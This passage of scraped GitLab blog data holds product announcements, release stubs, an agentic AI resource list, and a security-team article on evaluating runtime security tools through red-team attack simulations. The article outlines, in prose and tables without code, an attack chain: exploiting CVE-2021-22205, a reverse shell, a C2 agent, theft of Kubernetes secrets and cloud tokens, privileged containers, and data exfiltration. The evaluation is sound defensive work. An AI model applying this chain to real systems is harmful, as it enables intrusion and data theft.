}",{"title":1495,"description":1496,"authors":1502,"heroImage":1498,"date":1504,"body":1505,"category":695,"tags":1506},[1503],"Jeff Tucker","2025-05-15","This is the post for the [GitLab 18 release](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/).",[774,695],{"slug":1508,"featured":6,"template":678,"externalUrl":1509},"gitlab-18-released","https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/","content:en-us:blog:gitlab-18-released.yml","Gitlab 18 Released","en-us/blog/gitlab-18-released.yml","en-us/blog/gitlab-18-released",{"_path":1515,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1516,"content":1522,"config":1527,"_id":1529,"_type":16,"title":1530,"_source":17,"_file":1531,"_stem":1532,"_extension":20},"/en-us/blog/gitlab-premium-with-duo",{"title":1517,"description":1518,"ogTitle":1517,"ogDescription":1518,"noIndex":6,"ogImage":1519,"ogUrl":1520,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1520,"schema":1521},"Unlocking AI for every GitLab Premium and Ultimate customer","GitLab Premium and Ultimate now include GitLab Duo essentials for creating and understanding code throughout the software development lifecycle, all at no additional cost.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660188/Blog/Hero%20Images/blog-premium-with-duo-cover-0756-fy26-v2-1800x945.png","https://about.gitlab.com/blog/gitlab-premium-with-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Unlocking AI for every GitLab Premium and Ultimate customer\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2025-05-15\",\n      }",{"title":1517,"description":1518,"authors":1523,"heroImage":1519,"date":1504,"body":1525,"category":695,"tags":1526},[1524],"David DeSanto, Chief Product Officer, GitLab","Today, we launch GitLab 18.0, which highlights our latest innovations and plans in core DevSecOps workflows, security and compliance, and AI. __As part of this release, we're excited to announce that GitLab Premium and Ultimate now include essential GitLab Duo AI capabilities at no additional cost.__ All Premium and Ultimate customers will have immediate access to GitLab Duo Code Suggestions and Chat directly in their preferred supported source code editors and IDEs.\n\n## AI for every development team\n\nArtificial intelligence is now at the center of the developer experience. AI enhances coding in many ways: It analyzes your codebase and provides real-time suggestions as you type, creates functions and methods based on your project's context, reduces repetitive tasks, and automates code reviews.\n\nOver the past few years, we've built [GitLab Duo](https://about.gitlab.com/gitlab-duo/) to infuse generative and agentic AI capabilities like these into our platform. Because writing code is just the start of the software lifecycle – our [global DevSecOps study](https://about.gitlab.com/developer-survey/) found that developers spend 79% of their time on tasks other than code creation – we have adopted a strategy to integrate AI throughout the entire software development lifecycle. \n\nNow, we’re excited to take the next step forward by including essential GitLab Duo capabilities in our GitLab Premium and Ultimate tiers, enabling developers to get the benefits of AI at no additional cost.\n\nBy including GitLab Duo Chat and Duo Code Suggestions in Premium and Ultimate, every software engineer can accelerate their workflow within the IDE — without requiring separate tooling, licensing, or governance. All existing Premium and Ultimate customers now have instant access to Duo Chat and Code Suggestions, once they upgrade to GitLab 18.0, and this enhancement becomes standard for all new customers.\n\n> **\"GitLab has already been instrumental in eliminating our reliance on a fragmented toolchain, which cut costs from disconnected solutions, and streamlined our workflow. Enhancing GitLab Premium with Duo will give us even greater efficiency and cost savings as our developers spend less time on routine coding tasks and more time tackling complex challenges that drive real business value.”**\n>\n>- Andrei Nita, Chief Technology Officer at McKenzie Intelligence Services\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1083723619?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Premium with Duo Core\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cbr>\u003C/br>\nPremium and Ultimate customers now have these AI-native capabilities:\n\n#### GitLab Duo Code Suggestions\n\n* Generate complete functions and code blocks from comments  \n* Get intelligent code completions as you type  \n* Support for 20+ programming languages  \n* Available in most popular IDEs\n\nTake this interactive tour to learn about GitLab Duo Code Suggestions (click on the image to start the tour).\n\n\u003Ca href=\"https://gitlab.navattic.com/code-suggestions\">\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175911/Blog/b5gdnls7jdyrpeyjby5j.png\" alt=\"GitLab Duo Code Suggestions cover image\">\u003C/a>\n\nLearn more in our [Duo Code Suggestions documentation](https://docs.gitlab.com/user/project/repository/code_suggestions/).\n\n#### GitLab Duo Chat\n\n* Explain unfamiliar code to understand complex functionality  \n* Refactor existing code to improve quality and maintainability  \n* Generate comprehensive test cases to help catch bugs earlier  \n* Fix code issues directly in your workflow\n\n![Duo Chat - API endpoint explanation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673912/Blog/Content%20Images/Duo_Chat_-_gif_-_API_endpoint_explanation__3_.gif)\n\nLearn more in our [Duo Chat documentation](https://docs.gitlab.com/user/gitlab_duo_chat/).\n\n> **\"For us, as GitLab users, Duo's intelligent code suggestions have become a daily asset for our developers. Combined with the chat feature, it allows for immediate feedback and iteration, resulting in faster development cycles and a more secure codebase. It's a seamless and powerful addition to our workflows.\"**\n>\n>- Felix Kortmann, Chief Technology Officer, Ignite by FORVIA HELLA\n\n## Duo Enterprise now available to GitLab Premium customers\n\nDue to strong customer demand, we're also excited to share that [GitLab Premium](https://about.gitlab.com/pricing/premium/) customers now can purchase Duo Enterprise, our full suite of AI offerings, without needing to upgrade to GitLab Ultimate. Premium customers can enjoy a rich AI experience seamlessly integrated across the software development lifecycle. This includes exciting GitLab Duo capabilities like:\n\n* [Root Cause Analysis](https://docs.gitlab.com/user/gitlab_duo/use_cases/#root-cause-analysis-use-cases) helps resolve CI/CD pipeline failures quickly, ensuring your CI/CD pipelines remain green.  \n* [Code Review](https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/#have-gitlab-duo-review-your-code) enables faster merge request reviews by leveraging Duo as a code reviewer.  \n* [Advanced Chat](https://docs.gitlab.com/user/gitlab_duo_chat/) summarizes conversations, helps understand code changes, and provides advanced configuration assistance.  \n* [Self-Hosted](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/) enables Duo to be leveraged within air-gapped and offline environments by hosting approved AI models for Duo to use.\n\nIn addition to Duo Enterprise availability, we continue to invest in the success of GitLab Premium customers. Since the launch of GitLab 17, [we’ve shipped more than a hundred features and improvements](https://gitlab.com/gitlab-org/gitlab/-/releases), including: \n\n* [**CI/CD Catalog**](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) enables developers to share, discover, and reuse   \npre-existing CI/CD components and configurations.  \n* [**Artifact registry**](https://docs.gitlab.com/user/packages/virtual_registry/) gives developers secure access to artifacts and seamless integration with CI/CD pipelines.  \n* [**Remote development**](https://docs.gitlab.com/user/project/remote_development/) enables developers to work in on-demand,  \ncloud-based development environments.\n\n> [Learn more about GitLab Premium features.](https://about.gitlab.com/pricing/premium/#wp-premium-features)\n\n## GitLab Duo: AI that meets organizations where they are\n\nGitLab customers have a comprehensive menu of Duo offerings, across our Pro and Enterprise solutions, to meet you where you are in the AI adoption cycle – the further along your teams are, the more capabilities you can use to build, test, and deploy secure software faster.\n\n![Key features in Duo plans](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673912/Blog/Content%20Images/Screenshot_2025-05-14_at_8.50.34_AM.png)\n\n## How current GitLab Ultimate and Premium customers can get started with Duo\n\nStarting with GitLab 18.0, for existing Ultimate and Premium customers, Duo Code Suggestions and Chat features will be off by default but can easily be enabled – learn how below.\n\nTo start experiencing GitLab Premium and Ultimate with Duo: \n\n1. Ensure you're on GitLab Premium or Ultimate. If not, you can start a free, 60-day trial. \n\n2. Enable GitLab Duo in your organization settings.\n\n3. If using a local IDE, install the appropriate GitLab [Editor Extension](https://docs.gitlab.com/editor_extensions/#available-extensions). \n\n4. Start using Code Suggestions and Chat in your preferred supported local IDE or the GitLab Web IDE.\n\n**Note:** For new customers and trials, GitLab's AI capabilities will be enabled automatically.\n\n## AI-native development requires a DevSecOps platform\n\nAI is fundamentally reshaping the developer experience. Organizations won't just have more people building software. They'll have more production-ready code generated by AI – **making GitLab more essential than ever.** \n\nWe built GitLab Premium and Ultimate with Duo specifically for this new reality, giving teams one secure foundation for all their code. As AI generates code across your organization, GitLab becomes your control center: no separate tools for security scanning, compliance checks, or managing pipelines. Just a single, unified platform that scales with your organization and helps ensure all code meets your standards before reaching production. As AI accelerates your development, GitLab enables you to maintain control, security, and quality from end to end.\n\n> To learn more about GitLab Duo and all the ways it can transform how your team works, [visit our GitLab Premium page](https://about.gitlab.com/pricing/premium/) or if you are a GitLab customer, reach out to your GitLab representative to schedule a demo. Finally, we invite you to join us on June 24, 2025, for our [GitLab 18 virtual launch event](https://about.gitlab.com/eighteen/) to learn about the future of AI-native software development.\n",[790,479,736,754,695],{"slug":1528,"featured":92,"template":678},"gitlab-premium-with-duo","content:en-us:blog:gitlab-premium-with-duo.yml","Gitlab Premium With Duo","en-us/blog/gitlab-premium-with-duo.yml","en-us/blog/gitlab-premium-with-duo",{"_path":1534,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1535,"content":1541,"config":1548,"_id":1550,"_type":16,"title":1551,"_source":17,"_file":1552,"_stem":1553,"_extension":20},"/en-us/blog/our-step-by-step-guide-to-evaluating-runtime-security-tools",{"title":1536,"description":1537,"ogTitle":1536,"ogDescription":1537,"noIndex":6,"ogImage":1538,"ogUrl":1539,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1539,"schema":1540},"Our step-by-step guide to evaluating runtime security tools","Key learnings from the GitLab Security team’s runtime security tool evaluation on Kubernetes clusters and Linux servers using real-world attack simulations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097534/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750097534344.jpg","https://about.gitlab.com/blog/our-step-by-step-guide-to-evaluating-runtime-security-tools","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our step-by-step guide to evaluating runtime security tools\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hiroki Suezawa\"},{\"@type\":\"Person\",\"name\":\"Mitra Jozenazemian\"}],\n        \"datePublished\": \"2025-05-13\",\n      }",{"title":1536,"description":1537,"authors":1542,"heroImage":1538,"date":1545,"body":1546,"category":674,"tags":1547},[1543,1544],"Hiroki Suezawa","Mitra Jozenazemian","2025-05-13","Choosing the right runtime security tool is critical for protecting modern cloud-native environments.  We recently undertook a rigorous evaluation process using real-world attack simulations on our Kubernetes clusters and Linux servers. Why? Because traditional cloud audit logs do not provide enough detail, leaving critical gaps in threat detection, incident response, and forensic analysis. Our evaluation meticulously examined each critical stage from initial access to lateral movement and data exfiltration.\n\nWhile we won't be naming the specific vendor in this post, we want to share our detailed methodology and key learnings, providing a blueprint you can adapt for your own security tool evaluations.\n\n## Why are runtime security tools necessary?\n\nWithout runtime security tools, detecting “suspicious activities” and understanding “what actually happened” during an attack can become extremely challenging.\n\n### Limitations of cloud audit logs\n\n- **Lack of runtime details**  \n  Cloud audit logs primarily record operations and data access within the cloud. However, they do not capture runtime-level activities on systems such as Kubernetes servers – overlooking fine-grained command executions, process behaviors, and transient network activities.  \n\n- **Gaps in investigation and forensics**  \n    In Kubernetes environments, the absence of continuous, real-time logging can lead to the loss of critical activity records once a container terminates.\n\nAlthough well-known open-source runtime security tools are available, we decided to evaluate a commercial product to assess additional capabilities and enterprise-level support through attack simulation testing.\n\n### The role and purpose of runtime security tools\n\nRuntime security tools address these cloud audit log limitations by continuously monitoring systems in real time, offering the following functionalities:\n\n- **Threat detection**  \n  They monitor command executions, system calls, and network events in real-time to instantly detect abnormal behaviors, which enables the security team to respond rapidly. While some public cloud providers now offer limited runtime monitoring capabilities, these native solutions typically lack the depth and comprehensive coverage of dedicated security tools.  \n\n- **Incident response**  \n  By maintaining detailed chronological records of system activities, these tools provide security teams with the evidence needed to reconstruct attack timelines, determine the full scope of compromise, and conduct thorough forensic investigations after an incident occurs.  \n\n- **Scalability in investigations**  \n  Unlike traditional endpoint-by-endpoint forensic analysis, runtime security tools allow teams to collect, store, and analyze data centrally across the entire environment. This enables the efficient investigation of incidents without manually correlating disparate data sources.  \n\n(**Note:** Products that also offer container information or server vulnerability monitoring are outside the scope of this discussion.)\n\n## Key evaluation points\n\nOur primary objective in evaluating a runtime security tool was to determine its effectiveness in real-world security investigations. While evaluations often focus on the volume of detections or overall coverage, in actual operations, an overload of false positives – or tens of alerts for a single attack chain – can paralyze incident response teams. Therefore, our in-depth investigation centered on whether the tool could be used to support security operations with understanding and responding to actual attacks.\n\n- **Detection capability**  \n\n  - **Built-in rule**  \n    We assessed whether the built-in rule sets could effectively detect a variety of attack techniques and provide the necessary detail for accurate detection.\n\n  - **Custom detection capabilities**  \n    We evaluated the ease with which additional rules could be integrated and considered the quality of telemetry data delivered by the product, which enabled us to build our own monitoring solutions leveraging our unique understanding of our environment.\n\n  - **Alert quality**  \n    We also verified the rate of false positives. We confirmed that it effectively focuses on genuine security threats requiring action while minimizing noise that could cause alert fatigue.\n\n- **Incident response**  \n\n  - **Richness of logs**  \n    We evaluated whether the logs capture sufficient details – including executed commands, network connections, DNS queries, and process information – to fully reconstruct the incident. The ability to piece together the entire attack scenario and determine the full impact is crucial during incident response.  \n\n  - **Log searchability**  \n    We assessed how effectively the tool allowed us to search, filter, and correlate events across multiple systems. The ability to quickly query massive volumes of data is essential for timely investigations during security incidents. \n\n## Evaluation process\n\nWe divided our evaluation process into four major phases:\n\n1. **Development of attack scenarios**  \n   We designed scenarios that mimicked real-world attack flows. These scenarios, developed in collaboration with our Red Team, included the following elements:  \n   - attacks exploiting GitLab-specific vulnerabilities (e.g., CVE-2021-22205)  \n   - attacks leveraging the compromise of developer laptops  \n   - detailed step-by-step attack procedures  \n2. **Infrastructure setup**  \n   We deployed two parallel environments:  \n   - Kubernetes environment  \n   - Virtual machine (VM) environment \n\n   We installed an older version of GitLab to test known vulnerabilities and carried out similar evaluation flows in both the Kubernetes and VM environments.\n\n3. **Execution of attacks**  \n   We executed the attack flow for each scenario and meticulously recorded the timeline – from initial access to lateral movement and data exfiltration.  \n\n4. **Analysis of results**  \n   We conducted a comprehensive evaluation of detection capabilities, log richness, and areas for improvement, clearly outlining the strengths and weaknesses of the tools.\n\n### Attack scenarios\n\n**Scenario 1: Exploitation of a known GitLab vulnerability**\n\n![Scenario 1: Exploitation of a known GitLab vulnerability](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097560/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097560795.png)\n\n- **Attack flow**  \n  1. **Initial access**  \n     We simulated an attack by exploiting CVE-2021-22205, a known GitLab vulnerability that allows remote code execution. This granted us unauthorized access to the target system.  \n  2. **Command execution**  \n     After gaining access, we executed a reverse shell to interact remotely with the compromised machine and take control.  \n  3. **Deployment of a C2 agent**  \n     We installed a Command and Control (C2) agent to evaluate persistence techniques, enabling us to execute further commands and manage the system remotely.  \n  4. **Lateral movement**  \n     We then moved laterally within the environment, accessing Kubernetes API secrets and PostgreSQL databases.  \n  5. **Data exfiltration**  \n     We exfiltrated sensitive data via a dedicated C2 channel.\n\nThe following table summarizes the attack techniques used at each phase:\n\n| Initial access | Command and control | Enumeration | Credential access | Lateral movement | Collection | Exfiltration |\n| :---- | :---- | :---- | :---- | :---- | :---- | :---- |\n| Exploit GitLab application using known RCE vulnerability | Execute known reverse shell command | Harvesting info on the box | Get environment variables | Get secret from Kubernetes API | Get data from Cloud Storage | Exfiltration over C2 channel |\n|  | Install post-exploitation C2 agent |  | Get K8s token | Access to database | DNS exfiltration |  |\n|  | SOCKS proxy |  | Get cloud token via Cloud metadata server |  |  |  |\n\n\u003Cbr>\u003C/br>\n\n**Scenario 2: Compromise of a developer’s laptop**\n\n![Scenario 2: Compromise of a developer’s laptop](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097561/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097560796.png)\n\n- **Attack flow**  \n  1. **Initial compromise**   \n     We simulated an attacker compromising a developer’s laptop and abusing legitimate credentials to gain unauthorized access to internal resources.  \n  2. **Privilege escalation**  \n     Using the compromised credentials, we escalated privileges within the Kubernetes environment. \n  3. **Container manipulation**  \n     We deployed a privileged container to extract sensitive information.  \n  4. **Data exfiltration and persistence**  \n     We exfiltrated sensitive data while maintaining persistent access.\n\n      The following table summarizes the attack techniques used at each phase:\n\n| Initial access | Execution | Privilege escalation | Credential access | Lateral movement | Exfiltration |\n| :---- | :---- | :---- | :---- | :---- | :---- |\n| Valid account (kubectl) | Create a new container | Create a privileged container | Get K8s secrets via privilege of the node | Enter a container in the same node | Upload credential data to the attacker’s server |\n|  |  |  | Get an environment variable in the containers via `crictl` command on the node |  |  |\n\n\u003Cbr>\u003C/br>\n\n### Execution of the attacks\nDuring the execution of the attack scenarios, we followed these processes to obtain detailed records:\n\n- **Verification of detections:** We confirmed whether each attack command was detected and if the key points of each scenario were properly flagged.\n\n- **Timeline recording:** Every event was logged in sequence to assess how well command executions and network communications were captured.\n\n- **Scoring and analysis:** We scored each event based on detection effectiveness to quantitatively evaluate the tool’s performance.\n\n## What we learned\n\n### Don't overestimate – test commercial products yourself\n\n- **Identifying and addressing detection gaps (collaboration with vendors)**  \n  Our evaluation revealed that several critical scenarios and events were not detected or not logged. Consequently, we held meetings with the vendor and submitted multiple improvement requests. As a result, the vendor enhanced the product by adding new features and improving detection capabilities, with many issues identified during our evaluation subsequently addressed.  \n- **Understanding the limitations**  \n  Many modern runtime security tools use eBPF to monitor Linux system calls for detection. However, because commands executed within a C2 framework do not generate new processes, tracing these attack events proved challenging.  \n\n- **Recognizing tool boundaries**  \n  Our findings highlighted that, during incident response, relying solely on runtime security tools is insufficient. It is essential to combine them with other logs, such as Kubernetes audit logs and cloud logs, to gain a comprehensive view.\n\n### The importance of continuous runtime event logging in Kubernetes\n\nIn Kubernetes environments, there is a risk of losing forensic data when containers terminate, making continuous logging indispensable. Our evaluation confirmed that establishing a scalable, persistent logging infrastructure is crucial. Without proper runtime security tools, a significant amount of critical information could be lost post-attack.\n\n## Summary\n\nWe do not simply install security tools – we evaluate their utility to help ensure that our customers can safely use GitLab.com. Thorough product assessments like the one outlined above not only reveal unique use cases and areas for improvement that vendors might overlooks, but also provide valuable insights that benefit both the vendor and internal teams in organizing how the tool is best utilized.\n",[674,943,676],{"slug":1549,"featured":6,"template":678},"our-step-by-step-guide-to-evaluating-runtime-security-tools","content:en-us:blog:our-step-by-step-guide-to-evaluating-runtime-security-tools.yml","Our Step By Step Guide To Evaluating Runtime Security Tools","en-us/blog/our-step-by-step-guide-to-evaluating-runtime-security-tools.yml","en-us/blog/our-step-by-step-guide-to-evaluating-runtime-security-tools",{"_path":1555,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1556,"content":1561,"config":1567,"_id":1570,"_type":16,"title":1571,"_source":17,"_file":1572,"_stem":1573,"_extension":20},"/en-us/blog/gitlab-patch-release-17-11-2-17-10-6-17-9-8",{"title":1557,"description":708,"ogTitle":1557,"ogDescription":708,"config":1558,"ogImage":712,"ogUrl":1559,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1559,"schema":1560},"GitLab Patch Release: 17.11.2, 17.10.6, 17.9.8",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-11-2-17-10-6-17-9-8","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.11.2, 17.10.6, 17.9.8\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Hauenstein\"}],\n        \"datePublished\": \"2025-05-08\",\n      }",{"title":1557,"description":708,"authors":1562,"heroImage":712,"date":1564,"body":1565,"category":695,"tags":1566},[1563],"Daniel Hauenstein","2025-05-08","This is the post for [GitLab Patch Release: 17.11.2, 17.10.6, 17.9.8](https://about.gitlab.com/releases/2025/05/07/patch-release-gitlab-17-11-2-released/).",[716,1464],{"slug":1568,"featured":6,"template":678,"externalUrl":1569},"gitlab-patch-release-17-11-2-17-10-6-17-9-8","https://about.gitlab.com/releases/2025/05/07/patch-release-gitlab-17-11-2-released/","content:en-us:blog:gitlab-patch-release-17-11-2-17-10-6-17-9-8.yml","Gitlab Patch Release 17 11 2 17 10 6 17 9 8","en-us/blog/gitlab-patch-release-17-11-2-17-10-6-17-9-8.yml","en-us/blog/gitlab-patch-release-17-11-2-17-10-6-17-9-8",{"_path":1575,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1576,"content":1581,"config":1586,"_id":1588,"_type":16,"title":1589,"_source":17,"_file":1590,"_stem":1591,"_extension":20},"/en-us/blog/agentic-ai-guides-and-resources",{"title":1577,"description":1578,"ogTitle":1577,"ogDescription":1578,"noIndex":6,"ogImage":903,"ogUrl":1579,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1579,"schema":1580},"Agentic AI guides and resources","Learn everything you need to know about agentic AI, including what it is, how it works, why it levels up your DevSecOps environment, and best practices for implementation.","https://about.gitlab.com/blog/agentic-ai-guides-and-resources","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Agentic AI guides and resources\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-05-07\",\n      }",{"title":1577,"description":1578,"authors":1582,"heroImage":903,"date":1583,"body":1584,"category":791,"tags":1585,"updatedDate":1187},[711],"2025-05-07","## Defining agentic AI\n\nAgentic AI is a type of artificial intelligence that leverages advanced language models and natural language processing to take independent action. Unlike traditional generative AI tools that require constant human direction, these systems can understand requests, make decisions, and execute multi-step plans to achieve goals. They tackle complex tasks by breaking them into manageable steps and employ adaptive learning to modify their approach when facing challenges.\n\n[Learn more about agentic AI](https://about.gitlab.com/topics/agentic-ai/)\n\n## Agentic AI insights\n- [GitLab Duo Agent Platform Public Beta: Next-gen AI orchestration and more](https://about.gitlab.com/blog/gitlab-duo-agent-platform-public-beta/) — Introducing the DevSecOps orchestration platform designed to unlock asynchronous collaboration between developers and AI agents.\n- [GitLab Duo Agent Platform: What's next for intelligent DevSecOps](https://about.gitlab.com/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops/) — GitLab Duo Agent Platform, a DevSecOps orchestration platform for humans and AI agents, leverages agentic AI for collaboration across the software development lifecycle.\n- [From vibe coding to agentic AI: A roadmap for technical leaders](https://about.gitlab.com/the-source/ai/from-vibe-coding-to-agentic-ai-a-roadmap-for-technical-leaders/) — Discover how to implement vibe coding and agentic AI in your development process to increase productivity while maintaining code quality and security.\n- [Emerging agentic AI trends reshaping software development](https://about.gitlab.com/the-source/ai/emerging-agentic-ai-trends-reshaping-software-development/) — Discover how agentic AI transforms development from isolated coding to intelligent workflows that enhance productivity while maintaining security.\n- [Agentic AI: Unlocking developer potential at scale](https://about.gitlab.com/the-source/ai/agentic-ai-unlocking-developer-potential-at-scale/) — Explore how agentic AI is transforming software development, moving beyond code completion to create AI partners that proactively tackle complex tasks.\n- [Agentic AI, self-hosted models, and more: AI trends for 2025](https://about.gitlab.com/the-source/ai/ai-trends-for-2025-agentic-ai-self-hosted-models-and-more/) — Discover key trends in AI for software development, from on-premises model deployments to intelligent, adaptive AI agents.\n- [How agentic AI unlocks platform engineering potential](https://about.gitlab.com/the-source/ai/how-agentic-ai-unlocks-platform-engineering-potential/) — Explore how agentic AI elevates platform engineering by automating complex workflows and scaling standardization.\n\n## The agentic AI ecosystem\n- [AI-driven code analysis: The new frontier in code security](https://about.gitlab.com/topics/agentic-ai/ai-code-analysis/) \n- [DevOps automation & AI agents](https://about.gitlab.com/topics/agentic-ai/devops-automation-ai-agents/)\n- [AI-augmented software development: Agentic AI for DevOps](https://about.gitlab.com/topics/agentic-ai/ai-augmented-software-development/)\n\n## Best practices for implementing agentic AI\n\n- [Implementing effective guardrails for AI agents](https://about.gitlab.com/the-source/ai/implementing-effective-guardrails-for-ai-agents/) — Discover essential security guardrails for AI agents in DevSecOps, from compliance controls and infrastructure protection to user access management.\n\n## GitLab's agentic AI offerings\n\n### GitLab Duo with Amazon Q\n\n- [GitLab Duo with Amazon Q: Agentic AI optimized for AWS generally available](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/) — The comprehensive AI-powered DevSecOps platform combined with the deepest set of cloud computing capabilities speeds dev cycles, increases automation, and improves code quality.\n- [DevSecOps + Agentic AI: Now on GitLab Self-Managed Ultimate on AWS](https://about.gitlab.com/blog/devsecops-agentic-ai-now-on-gitlab-self-managed-ultimate-on-aws/) — Start using AI-powered, DevSecOps-enhanced agents in your AWS GitLab Self-Managed Ultimate instance. Enjoy the benefits of GitLab Duo and Amazon Q in your organization.\n- [GitLab Duo with Amazon Q partner page](https://about.gitlab.com/partners/technology-partners/aws/)\n\nWatch GitLab Duo with Amazon Q in action:\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1075753390?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Technical Demo: GitLab Duo with Amazon Q\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n#### Guided tour\nClick on the image to start a tour of GitLab Duo with Amazon Q:\n\n[![GitLab Duo with Amazon Q interactive tour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673568/Blog/Content%20Images/Screenshot_2025-05-07_at_7.24.45_AM.png)](https://gitlab.navattic.com/duo-with-q)\n\n#### GitLab Duo with Amazon Q tutorials\n- [Enhance application quality with AI-powered test generation](https://about.gitlab.com/blog/enhance-application-quality-with-ai-powered-test-generation/) — Learn how GitLab Duo with Amazon Q improves the QA process by automatically generating comprehensive unit tests.\n- [GitLab Duo + Amazon Q: Transform ideas into code in minutes](https://about.gitlab.com/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes/) — The new GitLab Duo with Amazon Q integration analyzes your issue descriptions and automatically generates complete working code solutions, accelerating development workflows.\n- [Accelerate code reviews with GitLab Duo and Amazon Q](https://about.gitlab.com/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q/) — Use AI-powered agents to optimize code reviews by automatically analyzing merge requests and providing comprehensive feedback on bugs, readability, and coding standards.\n- [Speed up code reviews: Let AI handle the feedback implementation](https://about.gitlab.com/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation/) — Discover how GitLab Duo with Amazon Q automates the implementation of code review feedback through AI, transforming a time-consuming manual process into a streamlined workflow.\n\n### GitLab Duo Agentic Platform\n- [GitLab Duo Chat gets agentic AI makeover](https://about.gitlab.com/blog/gitlab-duo-chat-gets-agentic-ai-makeover/) — Our new Duo Chat experience, currently an experimental release, helps developers onboard to projects, understand assignments, implement changes, and more.\nWatch GitLab Duo Agent Platform in action:\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1095679084?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Agent Platform Demo Clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n#### GitLab Agent Platform (and Duo Workflow) tutorials and use cases\n- [Accelerate learning with GitLab Duo Agent Platform](https://about.gitlab.com/blog/accelerate-learning-with-gitlab-duo-agent-platform/) — Learn how agentic AI helped generate comprehensive gRPC documentation in minutes, not hours.\n- [Fast and secure AI agent deployment to Google Cloud with GitLab](https://about.gitlab.com/blog/fast-and-secure-ai-agent-deployment-to-google-cloud-with-gitlab/)\n\n- [Refactoring JavaScript to TypeScript with GitLab Duo Workflow](https://about.gitlab.com/blog/refactoring-javascript-to-typescript-with-gitlab-duo-workflow/)\n\n- [Automating tedious coding tasks with GitLab Duo Workflow](https://about.gitlab.com/blog/automate-tedious-coding-tasks-with-gitlab-duo-workflow/) — See how agentic AI can reduce time spent on repetitive tasks, freeing you up to focus on developing innovative solutions and shipping the next big thing.\n\n- [Use GitLab Duo Workflow to improve application quality assurance](https://about.gitlab.com/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance/) — Learn step-by-step how to add unit tests to a Java application using agentic AI (includes a video tutorial).\n\n- [Solving complex challenges with GitLab Duo Workflow](https://about.gitlab.com/blog/solving-complex-challenges-with-gitlab-duo-workflow/) — Learn how a member of the GitLab Customer Success Management team uses agentic AI for real-world problem-solving, including addressing Helm chart limits in the package registry.\n\n## Learn more with GitLab University\n\n- [Get Started with GitLab Duo coursework](https://university.gitlab.com/pages/ai)\n- [GitLab Duo Enterprise Learning Path](https://university.gitlab.com/learning-paths/gitlab-duo-enterprise-learning-path)\n\n## More AI resources\n\n- [2024 Global DevSecOps Survey: Navigating AI maturity in DevSecOps](https://about.gitlab.com/developer-survey/2024/ai/)\n- [The Role of AI in DevOps](https://about.gitlab.com/topics/devops/the-role-of-ai-in-devops/)\n- [The latest AI/ML articles from GitLab](https://about.gitlab.com/blog/categories/ai-ml/)\n- [GitLab 